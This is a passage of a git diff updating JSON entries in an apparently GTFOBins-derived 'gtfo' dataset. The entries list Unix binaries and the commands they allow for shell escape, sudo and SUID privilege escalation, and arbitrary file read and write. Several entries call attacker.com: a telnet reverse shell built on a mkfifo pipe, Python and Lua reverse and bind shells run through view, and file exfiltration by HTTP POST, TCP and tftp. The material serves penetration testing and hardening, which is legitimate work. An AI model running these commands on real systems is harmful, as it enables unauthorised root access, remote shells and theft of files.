TCL_OK; } int Setuid_Init(Tcl_Interp *interp) { Tcl_CreateCommand(interp, \"setuid\", SetUidCmd, NULL, NULL); return TCL_OK; }' | gcc -shared -o setuid.so -fPIC -I/usr/include/tcl8.6 -ltcl -x c -\n./tclsh\nload ./setuid.so\nsetuid\nexec /bin/sh -p <@stdin >@stdout 2>@stderr" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/tcpdump.json b/gtfo/data/tcpdump.json index 7d6d0e1..99a7d98 100644 --- a/gtfo/data/tcpdump.json +++ b/gtfo/data/tcpdump.json @@ -1,15 +1,22 @@ { - "description": "These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background. In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the 'postrotate-command' to a small subset of predefined commands thus preventing the execution of the following.", "functions": { + "file-write": [ + { + "description": "It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.", + "code": "LFILE=file_to_write\nUSER=output_file_owner\ntcpdump -ln -i lo -w $LFILE -c 1 -Z $USER\n" + } + ], "command": [ { - "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\ntcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF\n" + "description": "", + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\ntcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF\n" } ], "sudo": [ { - "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\nsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root\n" + "description": "", + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/tcsh.json b/gtfo/data/tcsh.json new file mode 100644 index 0000000..50e917a --- /dev/null +++ b/gtfo/data/tcsh.json @@ -0,0 +1,28 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "tcsh\n" + } + ], + "file-write": [ + { + "description": "", + "code": "export LFILE=file_to_write\ntcsh -c 'echo DATA > $LFILE'\n" + } + ], + "suid": [ + { + "description": "", + "code": "./tcsh -b\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo tcsh\n" + } + ] + } +} diff --git a/gtfo/data/tdbtool.json b/gtfo/data/tdbtool.json new file mode 100644 index 0000000..7896854 --- /dev/null +++ b/gtfo/data/tdbtool.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "tdbtool\n! /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo tdbtool\n! /bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "./tdbtool\n! /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/tee.json b/gtfo/data/tee.json index 55302a1..a82b9aa 100644 --- a/gtfo/data/tee.json +++ b/gtfo/data/tee.json @@ -1,20 +1,22 @@ { - "description": "It can only append data if the destination exists.", "functions": { "file-write": [ { - "code": "echo DATA | ./tee -a [file]\n" + + "code": "LFILE=file_to_write\necho DATA | ./tee -a \"$LFILE\"\n" } ], - "sudo": [ + "suid": [ { - "code": "echo DATA | sudo tee -a [file]\n" + + "code": "LFILE=file_to_write\necho DATA | ./tee -a \"$LFILE\"\n" } ], - "suid": [ + "sudo": [ { - "code": "echo DATA | ./tee -a [file]\n" + + "code": "LFILE=file_to_write\necho DATA | sudo tee -a \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/telnet.json b/gtfo/data/telnet.json index 00fd324..4f1a237 100644 --- a/gtfo/data/telnet.json +++ b/gtfo/data/telnet.json @@ -3,26 +3,26 @@ "shell": [ { "description": "BSD version only. Needs to be connected first.", - "code": "telnet [host] [port]\n^]\n!/bin/sh\n" + "code": "RHOST=attacker.com\nRPORT=12345\ntelnet $RHOST $RPORT\n^]\n!/bin/sh\n" } ], "reverse-shell": [ { - "description": "Run 'nc -lp [port]' on the attacker box to receive the shell.", - "code": "TF=$(mktemp -u)\nmkfifo $TF && telnet [host] [port] 0<$TF | /bin/sh 1>$TF\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "RHOST=attacker.com\nRPORT=12345\nTF=$(mktemp -u)\nmkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF\n" } ], "sudo": [ { "description": "BSD version only. Needs to be connected first.", - "code": "sudo telnet [host] [port]\n^]\n!/bin/sh\n" + "code": "RHOST=attacker.com\nRPORT=12345\nsudo telnet $RHOST $RPORT\n^]\n!/bin/sh\n" } ], "limited-suid": [ { "description": "BSD version only. Needs to be connected first.", - "code": "./telnet [host] [port]\n^]\n!/bin/sh\n" + "code": "RHOST=attacker.com\nRPORT=12345\n./telnet $RHOST $RPORT\n^]\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/terraform.json b/gtfo/data/terraform.json new file mode 100644 index 0000000..061fb42 --- /dev/null +++ b/gtfo/data/terraform.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "terraform console\nfile(\"file_to_read\")\n" + } + ], + "sudo": [ + { + + "code": "sudo terraform console\nfile(\"file_to_read\")\n" + } + ], + "suid": [ + { + + "code": "./terraform console\nfile(\"file_to_read\")\n" + } + ] + } +} diff --git a/gtfo/data/tex.json b/gtfo/data/tex.json index c437a01..6df04bc 100644 --- a/gtfo/data/tex.json +++ b/gtfo/data/tex.json @@ -2,16 +2,19 @@ "functions": { "shell": [ { + "code": "tex --shell-escape '\\write18{/bin/sh}\\end'\n" } ], "sudo": [ { + "code": "sudo tex --shell-escape '\\write18{/bin/sh}\\end'\n" } ], "limited-suid": [ { + "code": "./tex --shell-escape '\\write18{/bin/sh}\\end'\n" } ] diff --git a/gtfo/data/tftp.json b/gtfo/data/tftp.json index 49b055d..09712e6 100644 --- a/gtfo/data/tftp.json +++ b/gtfo/data/tftp.json @@ -3,26 +3,26 @@ "file-upload": [ { "description": "Send local file to a TFTP server.", - "code": "tftp [host]\nput [file]\n" + "code": "RHOST=attacker.com\ntftp $RHOST\nput file_to_send\n" } ], "file-download": [ { "description": "Fetch a remote file from a TFTP server.", - "code": "tftp [host]\nget [file]\n" + "code": "RHOST=attacker.com\ntftp $RHOST\nget file_to_get\n" } ], "suid": [ { "description": "Send local file to a TFTP server.", - "code": "./tftp [host]\nput [file]\n" + "code": "RHOST=attacker.com\n./tftp $RHOST\nput file_to_send\n" } ], "sudo": [ { "description": "Send local file to a TFTP server.", - "code": "sudo tftp [host]\nput [file]\n" + "code": "RHOST=attacker.com\nsudo tftp $RHOST\nput file_to_send\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/tic.json b/gtfo/data/tic.json new file mode 100644 index 0000000..c029269 --- /dev/null +++ b/gtfo/data/tic.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\ntic -C \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./tic -C \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo tic -C \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/time.json b/gtfo/data/time.json index 744029e..09f73e1 100644 --- a/gtfo/data/time.json +++ b/gtfo/data/time.json @@ -1,20 +1,22 @@ { - "description": "Note that the shell might have its own builtin time implementation, which may behave differently than '/usr/bin/time', hence the absolute path.", "functions": { "shell": [ { - "code": "/usr/bin/time /bin/sh" + + "code": "/usr/bin/time /bin/sh\n" } ], "suid": [ { - "code": "./time /bin/sh -p" + + "code": "./time /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo /usr/bin/time /bin/sh" + + "code": "sudo /usr/bin/time /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/timedatectl.json b/gtfo/data/timedatectl.json new file mode 100644 index 0000000..a993039 --- /dev/null +++ b/gtfo/data/timedatectl.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "timedatectl list-timezones\n!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo timedatectl list-timezones\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/timeout.json b/gtfo/data/timeout.json index 83c4806..930a3b5 100644 --- a/gtfo/data/timeout.json +++ b/gtfo/data/timeout.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "timeout 7d /bin/sh" + + "code": "timeout 7d /bin/sh\n" } ], "suid": [ { - "code": "./timeout 7d /bin/sh -p" + + "code": "./timeout 7d /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo timeout --foreground 7d /bin/sh" + + "code": "sudo timeout --foreground 7d /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/tmate.json b/gtfo/data/tmate.json new file mode 100644 index 0000000..7fcf475 --- /dev/null +++ b/gtfo/data/tmate.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "tmate -c /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo tmate -c /bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "./tmate -c /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/tmux.json b/gtfo/data/tmux.json index 7c53a64..9786a3e 100644 --- a/gtfo/data/tmux.json +++ b/gtfo/data/tmux.json @@ -1,14 +1,26 @@ { "functions": { + "file-read": [ + { + "description": "The file is read and parsed as a `tmux` configuration file, part of the first invalid line is returned in an error message.", + "code": "LFILE=file_to_read\ntmux -f $LFILE\n" + } + ], "shell": [ { - "code": "tmux" + + "code": "tmux\n" + }, + { + "description": "Provided to have enough permissions to access the socket.", + "code": "tmux -S /path/to/socket_name\n" } ], "sudo": [ { - "code": "sudo tmux" + + "code": "sudo tmux\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/top.json b/gtfo/data/top.json index 962351c..a53450c 100644 --- a/gtfo/data/top.json +++ b/gtfo/data/top.json @@ -1,8 +1,8 @@ { - "description": "This requires that an existing configuration file is present, to create one run 'top' then type 'Wq'. Note down the actual configuration file path and use it in the below examples.", "functions": { "shell": [ { + "code": "echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc\ntop\n# press return twice\nreset\n" } ], @@ -13,4 +13,4 @@ } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/torify.json b/gtfo/data/torify.json new file mode 100644 index 0000000..14642f9 --- /dev/null +++ b/gtfo/data/torify.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "torify /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo torify /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/torsocks.json b/gtfo/data/torsocks.json new file mode 100644 index 0000000..16a99e8 --- /dev/null +++ b/gtfo/data/torsocks.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "torsocks /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo torsocks /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/troff.json b/gtfo/data/troff.json index 4772ee2..0ebcc71 100644 --- a/gtfo/data/troff.json +++ b/gtfo/data/troff.json @@ -1,19 +1,21 @@ { - "description": "The file is typeset but text is still readable in the output, alternatively the output can be read with 'man -l'.\n", "functions": { "file-read": [ { - "code": "troff [file]\n" + + "code": "LFILE=file_to_read\ntroff $LFILE\n" } ], "suid": [ { - "code": "./troff [file]\n" + + "code": "LFILE=file_to_read\n./troff $LFILE\n" } ], "sudo": [ { - "code": "sudo troff [file]\n" + + "code": "LFILE=file_to_read\nsudo troff $LFILE\n" } ] } diff --git a/gtfo/data/tshark.json b/gtfo/data/tshark.json new file mode 100644 index 0000000..c8afa6b --- /dev/null +++ b/gtfo/data/tshark.json @@ -0,0 +1,10 @@ +{ + "functions": { + "shell": [ + { + + "code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\ntshark -Xlua_script:$TF\n" + } + ] + } +} diff --git a/gtfo/data/ul.json b/gtfo/data/ul.json index 7286f96..046e2cf 100644 --- a/gtfo/data/ul.json +++ b/gtfo/data/ul.json @@ -1,20 +1,22 @@ { - "description": "The read file content is corrupted by replacing occurrences of '$'\\b_'' to terminal sequences and by converting tabs to spaces.", "functions": { "file-read": [ { - "code": "ul [file]\n" + + "code": "LFILE=file_to_read\nul \"$LFILE\"\n" } ], "suid": [ { - "code": "./ul [file]\n" + + "code": "LFILE=file_to_read\n./ul \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo ul [file]\n" + + "code": "LFILE=file_to_read\nsudo ul \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/unexpand.json b/gtfo/data/unexpand.json index ec1f814..fb7e4d8 100644 --- a/gtfo/data/unexpand.json +++ b/gtfo/data/unexpand.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "unexpand -t99999999 [file]\n" + + "code": "LFILE=file_to_read\nunexpand -t99999999 \"$LFILE\"\n" } ], "suid": [ { - "code": "./unexpand -t99999999 [file]\n" + + "code": "LFILE=file_to_read\n./unexpand -t99999999 \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo unexpand -t99999999 [file]\n" + + "code": "LFILE=file_to_read\nsudo unexpand -t99999999 \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/uniq.json b/gtfo/data/uniq.json index e73133a..1dbfa13 100644 --- a/gtfo/data/uniq.json +++ b/gtfo/data/uniq.json @@ -1,20 +1,22 @@ { - "description": "The read file content is corrupted by squashing multiple adjacent lines.", "functions": { "file-read": [ { - "code": "uniq [file]\n" + + "code": "LFILE=file_to_read\nuniq \"$LFILE\"\n" } ], "suid": [ { - "code": "./uniq [file]\n" + + "code": "LFILE=file_to_read\n./uniq \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo uniq [file]\n" + + "code": "LFILE=file_to_read\nsudo uniq \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/unshare.json b/gtfo/data/unshare.json index d6f9f74..b72afe1 100644 --- a/gtfo/data/unshare.json +++ b/gtfo/data/unshare.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "unshare /bin/sh" + + "code": "unshare /bin/sh\n" } ], "suid": [ { - "code": "./unshare -r /bin/sh" + + "code": "./unshare -r /bin/sh\n" } ], "sudo": [ { - "code": "sudo unshare /bin/sh" + + "code": "sudo unshare /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/unsquashfs.json b/gtfo/data/unsquashfs.json new file mode 100644 index 0000000..cfdae08 --- /dev/null +++ b/gtfo/data/unsquashfs.json @@ -0,0 +1,16 @@ +{ + "functions": { + "sudo": [ + { + + "code": "sudo unsquashfs shell\n./squashfs-root/sh -p\n" + } + ], + "suid": [ + { + + "code": "./unsquashfs shell\n./squashfs-root/sh -p\n" + } + ] + } +} diff --git a/gtfo/data/unzip.json b/gtfo/data/unzip.json new file mode 100644 index 0000000..33c8ddf --- /dev/null +++ b/gtfo/data/unzip.json @@ -0,0 +1,16 @@ +{ + "functions": { + "sudo": [ + { + + "code": "sudo unzip -K shell.zip\n./sh -p\n" + } + ], + "suid": [ + { + + "code": "./unzip -K shell.zip\n./sh -p\n" + } + ] + } +} diff --git a/gtfo/data/update-alternatives.json b/gtfo/data/update-alternatives.json index 5f67310..3e185e3 100644 --- a/gtfo/data/update-alternatives.json +++ b/gtfo/data/update-alternatives.json @@ -2,14 +2,14 @@ "functions": { "sudo": [ { - "description": "Write in [file] a symlink to $TF.", - "code": "TF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install [file] x \"$TF\" 0\n" + "description": "Write in `$LFILE` a symlink to `$TF`.", + "code": "LFILE=/path/to/file_to_write\nTF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install \"$LFILE\" x \"$TF\" 0\n" } ], "suid": [ { - "description": "Write in [file] a symlink to $TF.", - "code": "TF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install [file] x \"$TF\" 0\n" + "description": "Write in `$LFILE` a symlink to `$TF`.", + "code": "LFILE=/path/to/file_to_write\nTF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install \"$LFILE\" x \"$TF\" 0\n" } ] } diff --git a/gtfo/data/urlget.json b/gtfo/data/urlget.json new file mode 100644 index 0000000..4413e55 --- /dev/null +++ b/gtfo/data/urlget.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + "description": "It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The output might be corrupted or incomplete if the file does not follow the expected database format. Available in util-linux on CentOS, RHEL, Fedora.", + "code": "LFILE=file_to_read\n/usr/lib/aarch64-linux-gnu/gettext/urlget $LFILE $LFILE\n" + } + ], + "sudo": [ + { + "description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.", + "code": "LFILE=file_to_read\n/usr/lib/aarch64-linux-gnu/gettext/urlget $LFILE $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/uudecode.json b/gtfo/data/uudecode.json new file mode 100644 index 0000000..dfe21bb --- /dev/null +++ b/gtfo/data/uudecode.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nuuencode \"$LFILE\" /dev/stdout | uudecode\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\nuuencode \"$LFILE\" /dev/stdout | uudecode\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo uuencode \"$LFILE\" /dev/stdout | uudecode\n" + } + ] + } +} diff --git a/gtfo/data/uuencode.json b/gtfo/data/uuencode.json index 1214744..dfe21bb 100644 --- a/gtfo/data/uuencode.json +++ b/gtfo/data/uuencode.json @@ -1,19 +1,22 @@ { - "functions": { - "file-read": [ - { - "code": "uuencode \"[file]\" /dev/stdout | uudecode\n" - } - ], - "suid": [ - { - "code": "uuencode \"[file]\" /dev/stdout | uudecode\n" - } - ], - "sudo": [ - { - "code": "sudo uuencode \"[file]\" /dev/stdout | uudecode\n" - } - ] - } -} \ No newline at end of file + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nuuencode \"$LFILE\" /dev/stdout | uudecode\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\nuuencode \"$LFILE\" /dev/stdout | uudecode\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo uuencode \"$LFILE\" /dev/stdout | uudecode\n" + } + ] + } +} diff --git a/gtfo/data/vagrant.json b/gtfo/data/vagrant.json new file mode 100644 index 0000000..0d405bc --- /dev/null +++ b/gtfo/data/vagrant.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "cd $(mktemp -d)\necho 'exec \"/bin/sh\"' > Vagrantfile\nvagrant up\n" + } + ], + "sudo": [ + { + + "code": "cd $(mktemp -d)\necho 'exec \"/bin/sh\"' > Vagrantfile\nvagrant up\n" + } + ], + "suid": [ + { + + "code": "cd $(mktemp -d)\necho 'exec \"/bin/sh -p\"' > Vagrantfile\nvagrant up\n" + } + ] + } +} diff --git a/gtfo/data/valgrind.json b/gtfo/data/valgrind.json index 8eefded..5f73533 100644 --- a/gtfo/data/valgrind.json +++ b/gtfo/data/valgrind.json @@ -2,13 +2,15 @@ "functions": { "shell": [ { - "code": "valgrind /bin/sh" + + "code": "valgrind /bin/sh\n" } ], "sudo": [ { - "code": "sudo valgrind /bin/sh" + + "code": "sudo valgrind /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/varnishncsa.json b/gtfo/data/varnishncsa.json new file mode 100644 index 0000000..67b7ef5 --- /dev/null +++ b/gtfo/data/varnishncsa.json @@ -0,0 +1,16 @@ +{ + "functions": { + "sudo": [ + { + + "code": "LFILE=file_to_write\nsudo varnishncsa -g request -q 'ReqURL ~ \"/xxx\"' -F '%{yyy}i' -w \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_write\n./varnishncsa -g request -q 'ReqURL ~ \"/xxx\"' -F '%{yyy}i' -w \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/vi.json b/gtfo/data/vi.json index 2c06072..d827969 100644 --- a/gtfo/data/vi.json +++ b/gtfo/data/vi.json @@ -1,28 +1,32 @@ { - "description": "Modern Unix systems run 'vim' binary when 'vi' is called.", "functions": { "shell": [ { - "code": "vi -c ':!/bin/sh' /dev/null" + + "code": "vi -c ':!/bin/sh' /dev/null\n" }, { + "code": "vi\n:set shell=/bin/sh\n:shell\n" } ], "file-write": [ { - "code": "vi [file]\niDATA\n^[\nw\n" + + "code": "vi file_to_write\niDATA\n^[\nw\n" } ], "file-read": [ { - "code": "vi [file]" + + "code": "vi file_to_read\n" } ], "sudo": [ { - "code": "sudo vi -c ':!/bin/sh' /dev/null" + + "code": "sudo vi -c ':!/bin/sh' /dev/null\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/view.json b/gtfo/data/view.json index 0f9f7a0..f4ce81d 100644 --- a/gtfo/data/view.json +++ b/gtfo/data/view.json @@ -2,107 +2,112 @@ "functions": { "shell": [ { - "code": "view -c ':!/bin/sh'" + + "code": "view -c ':!/bin/sh'\n" }, { + "code": "view\n:set shell=/bin/sh\n:shell\n" }, { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'view' is compiled with Lua support.", - "code": "view -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `view` is compiled with Lua support.", + "code": "view -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "reverse-shell": [ { - "description": "This requires that 'view' is compiled with Python support. Pr[e]pend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "view -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nview -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to receive the shell. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "view -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();'\n" + "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `view` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nview -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "view -c ':lua local k=require(\"socket\");\nlo[cal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `view` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" } ], "file-upload": [ { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "view -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[host]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n" }, { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.", - "code": "view -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.", + "code": "export LPORT=8888\nview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" }, { - "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "view -c ':lua local f=io.open(\"[file]\", \"rb\")\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nt:send(d);\nt:close();'\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `view` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nview -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n" } ], "file-download": [ { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.", - "code": "view -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[host]\", \"[file]\")\nvim.command(\":q!\")'\n" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.", + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n" }, { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "view -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",\"[port]\"));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(\"[file]\", \"wb\");\nf:write(d);\nio.close(f);'\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `view` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nexport LFILE=file_to_save\nview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n" } ], "file-write": [ { - "code": "view [file]\niDATA\n^[\nw!\n" + + "code": "view file_to_write\niDATA\n^[\nw!\n" } ], "file-read": [ { - "code": "view [file]" + + "code": "view file_to_read\n" } ], "library-load": [ { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "view -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "view -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n" } ], "suid": [ { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./view -c ':py import os; 